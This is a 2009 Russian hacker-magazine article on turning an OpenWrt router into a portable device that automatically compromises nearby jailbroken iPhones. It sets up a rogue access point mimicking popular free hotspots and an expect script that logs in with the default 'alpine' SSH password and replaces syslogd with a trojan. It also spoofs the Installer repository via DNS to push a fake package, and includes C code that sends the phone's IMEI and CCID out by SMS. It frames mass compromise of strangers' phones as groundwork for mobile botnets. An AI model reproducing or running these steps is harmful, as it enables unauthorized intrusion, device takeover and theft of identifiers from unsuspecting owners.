Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 124, АПРЕЛЬ 2009 г.

iPhone терминатор. Создаем автоматическое средство аудита Apple iPhone

D0znp (http://oxod.ru)




В мартовском номере, в статье «Яблочное пюре», я рассказал о самом популярном и притязательном телефоне на рынке – Apple iPhone. Можно долго спорить на тему его функциональности, сравнивать с камнем или с ЛСД, восхищаться и глумиться, но все это я оставлю на твое личное усмотрение. На себя же возьму обязательство продолжить рассказ о безопасности устройства. А безопасность iPhone, скажу я тебе, оставляет желать лучшего.

Сперва разберемся, что же заставляет андеграунд двигаться в определенном направлении исследований. Если судить по количеству прикладных эксплоитов (офигеть какой показатель, сам знаю), то Win-системы гораздо более уязвимы, чем все Nix вместе взятые. Глупо предполагать, что дело только в кривизне кода от Microsoft. Весь секрет в популярности: чем больше пользователей пользуются софтом, тем больше интереса (материального и идейного) искать в нем ошибки и уязвимости. Какой резон в публикации невероятно сложной и красивой атаки на какой-нибудь Amoi MD-1 (это мобильный телефон, если что)? А вот в простой атаке на Apple iPhone пользы куда больше!

Популярности одной модели айфона могут позавидовать целые серии телефонов. Сколько всего на территории нашей прекрасной страны iPhone, не знает никто, но оценку этой величины дать можно. На ленте за 26 января значилась цифра 120.000 проданных белых 3g. До этого времени, по оценкам экспертов, было еще 250.000 серых телефонов. В сумме получаем где-то 370.000. За цифру я не ручаюсь, и, если окажется, что она в два раза выше, – не удивлюсь. Наши операторы обязались за два года продать около 3 млн. устройств, так что им еще есть куда стремиться... В одном отдельно взятом кафе в столице легко можно встретить 5-10 айфонов за раз. Хотел бы ты получить возможность обрабатывать чужие телефоны в автоматическом режиме? Дальше я опишу процесс создания устройства для поиска и аудита яблочных телефонов. Мы скомбинируем принципы пассивного и активного сканирования, а также описанные в предыдущей статье атаки. Наш терминатор будет пытаться получить доступ ко всем айфонам в округе и запускать на них тестовое приложение для отправки SMS. Ну все, хватит обещаний, поехали!

Выбираем платформу

Давай прикинем, каким основным требованиям должно удовлетворять автоматическое средство аудита мобильных телефонов? Прежде всего, конечно, мобильность, извиняюсь за тавтологию. Идея использовать обычный ноутбук приходит в голову сразу, однако, это не всегда удобно. Я предлагаю поступить по-хакерски и сделать iPhone терминатора из обычного беспроводного роутера или точки доступа. Такая платформа обладает рядом преимуществ по сравнению с ноутом:

  • Компактные размеры (меньше, чем даже 10-дюймовые нетбуки)
  • Маленький вес (150 г!)
  • Низкое энергопотребление (питается от аккумулятора)
  • Штатный разъем для внешней антенны (попробуй найди в магазине PCMCIA беспроводную карту с разъемом внешней антенны)
  • Дешевизна (~2000р против ~8000 руб. за самый дешевый нетбук)

Кроме того, в определенных местах человек с ноутом привлекает гораздо больше внимания, чем человек с рюкзачком или сумкой. Вместо штатного монитора контролировать устройство мы будем через SSH с телефона – таким образом, шансы прохожих разглядеть что-то интересное на твоем экране уменьшаются до нуля. Если тебя коробит вопрос производительности, то смею заверить – процессора ARM 200МГц хватить для наших нужд выше крыши. Нелишним будет USB-порт – мы поместим туда флешку для ведения ядовитых логов, но если его нет, можно скидывать все на «админский» телефон или сервер в интернете. Я буду описывать процесс на примере Asus WL-500G, просто потому, что он валяется под рукой. Все будет абсолютно аналогично при использовании любого роутера из этого списка: http://wiki.openwrt.org/CompleteTableOfHardware.

Если моих доводов в пользу выбора платформы недостаточно и желание повторить все нижеописанное на ноуте непреодолимо, – вперед! Весь используемый софт работает под линухом и без труда заведется под твой любимый дистрибутив или другой никс. На всякий случай напомню: если возникнут какие-то вопросы, можешь задать их в моем блоге (oxod.ru). Только не забудь вытащить жесткий диск и поставить ОС на флешку: при ходьбе и, тем более, беге, есть большой шанс заклинить даже самые дорогие диски. С платформой определились, едем дальше!

Собери сам. Создаем свою прошивку

Для моего роутера существует несколько дистрибутивов линукса. Это – openwrt, dd-wrt и другие, менее известные. Я решил использовать openwrt исключительно по этическим соображениям, и ты можешь выбрать что угодно, или даже воспользоваться оригинальным дистрибутивом от производителя, их часто выкладывают под лицензией GPL. В общем, необходимое условие одно – наличие toolchain, т.е. средств кросс-компиляции, с помощью которых мы соберем и поместим в прошивку нестандартные утилиты. Нам всего-то потребуются: expect, ssh client, sshd, http-сервер, dns-сервер. Буду рассказывать на примере openwrt, так что выкачиваем сборку под свою модель, в моем случае это: http://downloads.openwrt.org/kamikaze/8.09/brcm-2.4/openwrt-brcm-2.4-squashfs.trx.

Вышла она 15 февраля 2009 года, – самый свежак. Перед прошивкой переводим устройство в Failure Mode. Для этого отключаем питание, зажимаем кнопку Reset и подключаем питание. Держим Reset, пока индикатор питания не подмигнет нам, затем отпускаем кнопку. Процедура входа в Failure Mode для разных роутеров может отличаться, но подробная процедура установки всегда будет описана в WIKI openwrt для каждой модели. Ссылка на инструкцию находится в последней колонке таблицы поддерживаемых устройств. Далее подключаем патч-корд к устройству и проверяем, что у нас вышло: ping 192.168.1.1. Если все хорошо и устройство отвечает, переходим к заливке прошивки. Потребуется tftp-клиент, его можно взять здесь:

После установки заливаем прошивку на устройство:

tftp 192.168.1.1
tftp> binary
tftp> trace
tftp> put openwrt-brcm-2.4-squashfs.trx

Ждем, пока индикатор питания перестанет моргать (завершится процесс записи в ROM). Вот так, просто и без приключений, мы подготовили платформу для дальнейших изысканий. Теперь перейдем непосредственно к настройке. Выполняем команды:

#~telnet 192.168.1.1
#~passwd //устанавливаем пароль
#~exit //отключаемся
#~ssh root@192.168.1.1 //первый раз эта процедура займет около минуты или двух – неторопливое устройство создает ключевые пары. Если время ожидания SSH-клиента истечет – повтори попытку подключения через пару минут
#~ipkg update //обновляем базу пакетов

Возможно, перед последней командой придется еще настроить подключение к интернету. Настройка интерфейсов происходит через /etc/config/network. Если надо настроить PPPoE, создай в конфиге такое правило:

config interface wan
option ifnamenas0
option protopppoe
option username"username"
option password"password"

На этом базовая установка ОС закончена. Дистрибутив уже включает в себя DHCP-сервер, SSH-сервер и SSH-клиент. Дальнейшая настройка зависит уже от типа атаки.

Делай раз. Вкусная точка доступа

Теперь основная задача – заставить пользователя iPhone подключиться к нашей точке доступа. Мы должны сделать ее наиболее привлекательной, сулящей неслыханную халяву и т.д. Первое, что приходит на ум – поставить SSID, который точно привлечет внимание любого пользователя. Например, взять существующие имена бесплатных WiFi-сетей. Для правдоподобности можно работать в режиме моста с настоящей точкой доступа, подключенной к интернету. Тогда пользователь будет иметь полноценный выход в глобальную сеть, параллельно с этим попадаясь на все наши дальнейшие уловки с DNS (я же не зря перечислил его в требованиях!). Для максимального эффекта предварительно просканируй все сети, действующие в том районе, где будешь производить испытания, и выдели наиболее популярные точки доступа. Затем поставь своему устройству MAC и SSID, как у самого популярного хот-спота. Если ты окажешься ближе к пользователю, уровень сигнала от тебя будет выше, и ты получишь клиентов, привычно подключающихся к знакомой сети. Простейший конфиг беспроводного интерфейса /etc/config/wireless выглядит так:

config wifi-devicewl0
option typebroadcom
option channel5
option disabled 0
config wifi-iface
option devicewl0
option networklan
option modeap
option ssidFree_Internet
option hidden0
option encryption none

Последний штрих – настройка DHCP-сервера. Мы же должны создать для клиентов максимально комфортные условия работы в нашей сети :).

config dhcp
option interfacelan
option start2 //первый выданный IP-адрес, в нашем случае будет 10.0.0.2
option limit100 //сколько всего адресов выдавать
option leasetime1h //время аренды адреса, надо выбрать в соответствии с динамикой перемещения терминатора и клиентов
config dhcp
option interfacewan
option ignore1

Если возникнут вопросы по поводу синтаксиса, обращайся к официальной документации http://wiki.openwrt.org/OpenWrtDocs/KamikazeConfiguration (в журнале приводить все возможные варианты настроек смысла нет).

Делай два. Подбор паролей SSH

Самая простая и действенная на текущий момент атака на iPhone – пользуемся паролем по умолчанию, установленным практически на все джеилбрейкнутые телефоны SSHD. Для начала, с помощью toolchain от openwrt собираем из исходников утилиту expect. Если есть флешка, можно поставить компилятор на сам роутер. Устанавливаем все необходимое:

ipkg install buildroot
ipkg install make
ipkg install tcl
ipkg install scponly
ipkg install openssh-client

Сразу отредактируем /etc/ssh/ssh_config, добавив строчку «StrictHostKeyChecking no», чтобы SSH-клиент не выдавал сообщение о принятии новых сессионных ключей для каждой жертвы. Затем скачиваем исходники expect отсюда: http://expect.nist.gov/expect.tar.gz. Распаковываем и собираем, как обычно: ./configure, make, make install. Может потребоваться установить переменную окружения: «setenv TCL_LIBRARY /usr/bin/tcl8.4.19/Library». Теперь напишем скрипт, который будет пытаться подключиться к телефону с дефолтной связкой логин-пароль. Получиться что-нибудь наподобие этого:

#!/usr/bin/expect
spawn scp /www/iphone-trojan root@10.0.0.2:/usr/sbin/syslogd
expect assword {send alpine\r}
spawn ssh root@10.0.0.2
expect assword {send alpine\r}
send “ldid –S /usr/sbin/syslogd\r”
send “exit\r”
expect eof

В случае успеха демон системных логов на захваченном телефоне заменится нашей программой iphone-trojan, которая будет выполняться при каждом рестарте системы. Что это будет за программа, мы рассмотрим ниже. Предлагаю в качестве самостоятельного упражнения связать логи dhcp-сервера с выполнением этого скрипта так, чтобы атака осуществлялась на каждый новый выданный IP. Можешь также установить nmap и перед запуском проверять, что подцепился именно iPhone. Делается это командой nmap –O2 10.0.0.Х. Стоит отметить, что сканирование nmap’ом занимает приличное время, поэтому куда выгоднее просто пытаться атаковать сразу после подключения клиента. Тут уж решай сам.

Делай три. Ложный репозиторий Installer

Эта атака была описана в моей предыдущей статье. Если вкратце, – суть заключается в подмене DNS-адреса репозитория менеджера пакетов Installer. Менеджер устанавливается на все джеилбрейкнутые телефоны, коих, по некоторым оценкам, > 50% среди всех iPhone в нашей стране. Выглядит это так: пользователь подключается к нашему терминатору, открывает Installer и устанавливает обновление самого менеджера пакетов. Но вместе с оригинальной программой на телефон заливается любая другая.

Приступим к настройке. Устанавливаем DNS-сервер:

#~ipkg install maradns

Меняем настоящий IP сервера с репозиторием i.ripdev.com на нащ. Для этого редактируем /etc/mararc и /etc/marands/ripdev.com:

/etc/mararc:
ipv4_bind_addresses = "127.0.0.1, 10.0.0.1"
chroot_dir = "/etc/maradns" //место, где будут лежать конфиги зон, можно выбрать, например, точку монтирования флешки…
recursive_acl = "127.0.0.1/8, 10.0.0.0/24" //разрешаем рекурсивные запросы
zone_transfer_acl = "127.0.0.1/8, 10.0.0.0/24" //разрешаем пересылку зон
timeout_seconds = 2
csv1 = {}
csv1["ripdev.com."] = "ripdev.com"
dns_port = 53
maximum_cache_elements = 1024
min_ttl_cname = 900

/etc/maradns/ripdev.com:
# SOA
Sripdev.com.|86400|%|root@%|200903211634|7200|3600|604800|1800
# NS
Nripdev.com.|86400|ns.ripdev.com.
# A
Ai.ripdev.com.|86400|10.0.0.1

Теперь все запросы к серверу будут обработаны терминатором. Остается настроить встроенный веб-сервер в качестве поддельного репозитория. По умолчанию веб-сервер запускается с корнем /www, но ты в любой момент можешь погасить его и запустить с ключом –h /my/www-root. Выгодно создавать корень веб-сервера на прикрученной флешке. Так или иначе, нам надо скачать и записать на терминатора следующие файлы:

http://i.ripdev.com/info/index-2.0.plist
http://i.ripdev.com/info/index-2.1.plist
http://i.ripdev.com/info/index-2.2.plist

В каждом из них исправляем раздел, относящийся к программе Installer, меняем ключи date и version на большие. Если мы не хотим вызывать лишних подозрений, исправляем ссылки на файлы всех остальных программ так, чтобы они вели на настоящий сервер. Для этого указываем явно его IP-адрес. Более подробно процесс рассмотрен в уже упомянутой статье «Яблочное пюре» в мартовском номере ][. Затем скачиваем и правим следующие файлы:

http://i.ripdev.com/info/com.ripdev.install-4.1-2.0.plist
http://i.ripdev.com/info/com.ripdev.install-4.1-2.1.plist
http://i.ripdev.com/info/com.ripdev.install-4.1-2.2.plist

Меняем ключ version на такой же, какой поставили в предыдущих конфигах. Затем редактируем ключи size и hash. Это размер и md5 хеш от файла с нашим поддельным приложением, которое пользователи будут себе устанавливать. Остается только разместить само поддельное приложение на роутере вместе с конфигами (то есть создать директорию /www/info и /www/packages/System), ну и записать туда все вышеописанные файлы.

Бонус. Кодим под iPhone

Как будем проверять работоспособность нашего терминатора? А пусть сами жертвы известят нас с помощью sms (заодно – получим телефонный номер отправителя). Достаточное доказательство? Напишем приложение и повесим его демоном на захваченные iPhone. Забудь про xcode и Apple SDK, пользоваться будем грубым мужским gcc. Компилятор можно поставить прямо на телефон через Cydia. Или на компьютер:

http://code.google.com/p/iphone-dev/wiki/Building
http://code.google.com/p/winchain/

Отправлять SMS будем через AT команды устройству /dev/tty.debug. Эта консоль модема используется для отладки и присутствует на всех iPhone/iPhone 3g. Ни одно приложение по умолчанию не использует это устройство - то, что доктор прописал! Великий и могучий code.google.com уже имеет проект с нужным нам функционалом. Велосипед изобретать не будем и некоторые функции просто позаимствуем оттуда:

http://code.google.com/p/iphone-sms

Из этого проекта мы возьмем функцию InitConn – подключение к модему, CloseConn – отключение от модема, SendCmd – отправка AT команды модему и ReadResp – чтение ответа от модема. Приведу пример значимых строк кода (сам проект можно найти на нашем DVD):

int InitConn(int speed)
{
int fd = open("/dev/tty.debug", O_RDWR | O_NOCTTY);

if(fd == -1) {
fprintf(stderr, "%i(%s)\n", errno, strerror(errno));
exit(1);
}

ioctl(fd, TIOCEXCL);
fcntl(fd, F_SETFL, 0);

...
return fd;
}
void CloseConn(int fd)
{
tcdrain(fd);
tcsetattr(fd, TCSANOW, &gOriginalTTYAttrs);
close(fd);
}
void SendCmd(int fd, void *buf, size_t size)
{

if(write(fd, buf, size) == -1) {
fprintf(stderr, "SendCmd error. %s\n", strerror(errno));
exit(1);
}
}

Подумаем над содержанием сообщения. Предлагаю для однозначности скидывать с захваченных телефонов ни много, ни мало – а IMEI и CCID. Это сделает наши доказательства успешной атаки более весомыми. Получать данные мы тоже будем через AT команды. Функцию ReadResp я немного допишу, чтобы находить ответы за запросы IMEI и CCID и записывать их в переменную message. Выйдет примерно так:

if (strstr(readbuf,"+CMGW:")!=NULL) {
smsIndex = atoi(&readbuf[strlen(message)+10]);
}
else if (strstr(readbuf,"+CCID:")!=NULL) {
strncpy(message, &readbuf[17], 20);
}
else if (strstr(readbuf,"AT+CGSN")!=NULL) {
UCHAR temp[15];
strncpy(temp, &readbuf[10], 15);
sprintf(message,"%s-%s",message,temp);
}

Осталось лишь написать main функцию, в которую мы заложим весь функционал. Сначала получаем CCID, потом – IMEI, затем отправляем сообщение.
Я пытался сделать код как можно понятнее, а не наиболее коротким или красивым. Во всяком случае, он работает, а оптимизировать будем потом. Собранный вариант вышел 14 Кб – немало, но этого вполне хватит, чтобы быстро залить на жертву через 802.11g. Опять же, оптимизацией займемся в следующей статье. Догадайся, что будет, если попытаться выполнить наше творение? Отправка SMS, да? Нет, – ничего не будет, ядро телефона просто убьет процесс, не дав ему ничего исполнить. Хитрость в том, что телефон выполняет только подписанные программы. Разработчики хорошо постарались на этот счет. Чтобы код работал, надо подписывать его перед исполнением на каждом телефоне с помощью программы ldid. Она устанавливается вместе со всеми неофициальными программами из Cydia. Мы рассчитываем, что у нашей жертвы такая программа будет (об остальных вариантах поговорим в следующей статье).

Война войной, а питание по расписанию

Нашему терминатору не хватает только автономного источника питания. Действительно, стационарная точка доступа - это хорошо, а мобильная куда лучше. Существуют два способа решить проблему: переносной аккумулятор и адаптер питания от автомобильного прикуривателя. Для начала смотрим на штатный адаптер питания точки доступа и видим что-нибудь похожее на 12 В, 1 А. Автомобильный прикуриватель даст как раз 12 В, но мгновенные значения за счет шумов могут колебаться от 8 от 16 вольт. Перебои в работе нам не нужны, поэтому стоит воспользоваться адаптером с шумоподавителем. Схема такого устройства нашлась быстро:

rlocman.ru/shem/schematics.html?di=33999

Если не заморачиваться и подключать терминатора после зажигания, то можно рискнуть – напрямую подключиться к прикуривателю. Также дешево и сердито – воспользоваться адаптером от GPS-навигатора, он как раз будет 12 В, 1 А и с шумами как-нибудь справится. Еще есть вариант установить автомобильный адаптер инвертер 12/220 В (можно брать от 50 В мощности). Что касается переносных аккумуляторов, то подключаться стоит к обычному ноутбучному. Подсчитаем: аккумулятор для ноутбука при 12 В дает 4.8 А/ч – то есть почти пять часов работы при потреблении в 1 А. Отмечу, что это пиковый ток, потребляемый точкой. Среднее значение будет меньше, – а значит, время работы заведомо больше 5 часов. С аккумулятора надо будет снимать только + и -, логические контакты оставь в покое. Узнать распайку контактов можно либо по наклейке на аккумуляторе, либо с помощью тестера. Надеюсь, приведенной здесь информации будет достаточно, чтобы запитать терминатора.

Недалекое будущее

В последнее время производительность и скорость подключения к интернету мобильных устройств сильно растут. В недалеком будущем, а вернее, уже почти настоящем, вырисовываются четкие перспективы мобильных ботнетов. Эти устройства практически всегда онлайн, имеют несколько способов подключения к Сети, при этом – есть GPS-навигация. Они всегда находятся рядом со своими владельцами и часто содержат конфиденциальную инфу. Я думаю, причин для хака более чем достаточно! Сегодня я попытался рассказать, как без особых усилий сделать устройство, способное получать доступ к Apple iPhone в автоматическом режиме. Перемещаясь с таким терминатором по улицам, можно собрать целую мобильную армию, готовую в любой момент произвести DDoS-атаку или распределено вычислить значение хеш-функции.

В следующей статье я опишу процесс создания трояна для iPhone. Он способен получать команды с сервера хозяина, отправлять различными способами данные с телефона, выполнять шелл-команды, собирать статистику, генерировать трафик на определенный ресурс и... что-нибудь еще, что успею придумать.

WWW

  • openwrt.org – дистрибутив ОС linux для точек доступа.
  • dd-wrt.com – другой вариант дистрибутива ОС linux для точек доступа.
  • code.google.com/p/winchain - средства разработки для iPhone под Windows.
  • oxod.ru – мой блог. Пишу по мере желания. Жду комментариев, отвечу на вопросы.

DVD

На диске ты найдешь исходники программы для отправки SMS.

INFO

  • Точка доступа обладает рядом преимуществ перед ноутбуком, например: размеры, вес, энергопотребление, стоимость, разъем внешней антенны.
  • В мартовском номере ][ за 2009 год были описаны эксплуатируемые атаки. Если остались вопросы – перечитай подшивку.

WARNING

Внимание! Информация представлена исключительно с целью ознакомления! Ни автор, ни редакция за твои действия ответственности не несут!

Содержание
загрузка...
Журнал Хакер #151Журнал Хакер #150Журнал Хакер #149Журнал Хакер #148Журнал Хакер #147Журнал Хакер #146Журнал Хакер #145Журнал Хакер #144Журнал Хакер #143Журнал Хакер #142Журнал Хакер #141Журнал Хакер #140Журнал Хакер #139Журнал Хакер #138Журнал Хакер #137Журнал Хакер #136Журнал Хакер #135Журнал Хакер #134Журнал Хакер #133Журнал Хакер #132Журнал Хакер #131Журнал Хакер #130Журнал Хакер #129Журнал Хакер #128Журнал Хакер #127Журнал Хакер #126Журнал Хакер #125Журнал Хакер #124Журнал Хакер #123Журнал Хакер #122Журнал Хакер #121Журнал Хакер #120Журнал Хакер #119Журнал Хакер #118Журнал Хакер #117Журнал Хакер #116Журнал Хакер #115Журнал Хакер #114Журнал Хакер #113Журнал Хакер #112Журнал Хакер #111Журнал Хакер #110Журнал Хакер #109Журнал Хакер #108Журнал Хакер #107Журнал Хакер #106Журнал Хакер #105Журнал Хакер #104Журнал Хакер #103Журнал Хакер #102Журнал Хакер #101Журнал Хакер #100Журнал Хакер #099Журнал Хакер #098Журнал Хакер #097Журнал Хакер #096Журнал Хакер #095Журнал Хакер #094Журнал Хакер #093Журнал Хакер #092Журнал Хакер #091Журнал Хакер #090Журнал Хакер #089Журнал Хакер #088Журнал Хакер #087Журнал Хакер #086Журнал Хакер #085Журнал Хакер #084Журнал Хакер #083Журнал Хакер #082Журнал Хакер #081Журнал Хакер #080Журнал Хакер #079Журнал Хакер #078Журнал Хакер #077Журнал Хакер #076Журнал Хакер #075Журнал Хакер #074Журнал Хакер #073Журнал Хакер #072Журнал Хакер #071Журнал Хакер #070Журнал Хакер #069Журнал Хакер #068Журнал Хакер #067Журнал Хакер #066Журнал Хакер #065Журнал Хакер #064Журнал Хакер #063Журнал Хакер #062Журнал Хакер #061Журнал Хакер #060Журнал Хакер #059Журнал Хакер #058Журнал Хакер #057Журнал Хакер #056Журнал Хакер #055Журнал Хакер #054Журнал Хакер #053Журнал Хакер #052Журнал Хакер #051Журнал Хакер #050Журнал Хакер #049Журнал Хакер #048Журнал Хакер #047Журнал Хакер #046Журнал Хакер #045Журнал Хакер #044Журнал Хакер #043Журнал Хакер #042Журнал Хакер #041Журнал Хакер #040Журнал Хакер #039Журнал Хакер #038Журнал Хакер #037Журнал Хакер #036Журнал Хакер #035Журнал Хакер #034Журнал Хакер #033Журнал Хакер #032Журнал Хакер #031Журнал Хакер #030Журнал Хакер #029Журнал Хакер #028Журнал Хакер #027Журнал Хакер #026Журнал Хакер #025Журнал Хакер #024Журнал Хакер #023Журнал Хакер #022Журнал Хакер #021Журнал Хакер #020Журнал Хакер #019Журнал Хакер #018Журнал Хакер #017Журнал Хакер #016Журнал Хакер #015Журнал Хакер #014Журнал Хакер #013Журнал Хакер #012Журнал Хакер #011Журнал Хакер #010Журнал Хакер #009Журнал Хакер #008Журнал Хакер #007Журнал Хакер #006Журнал Хакер #005Журнал Хакер #004Журнал Хакер #003Журнал Хакер #002Журнал Хакер #001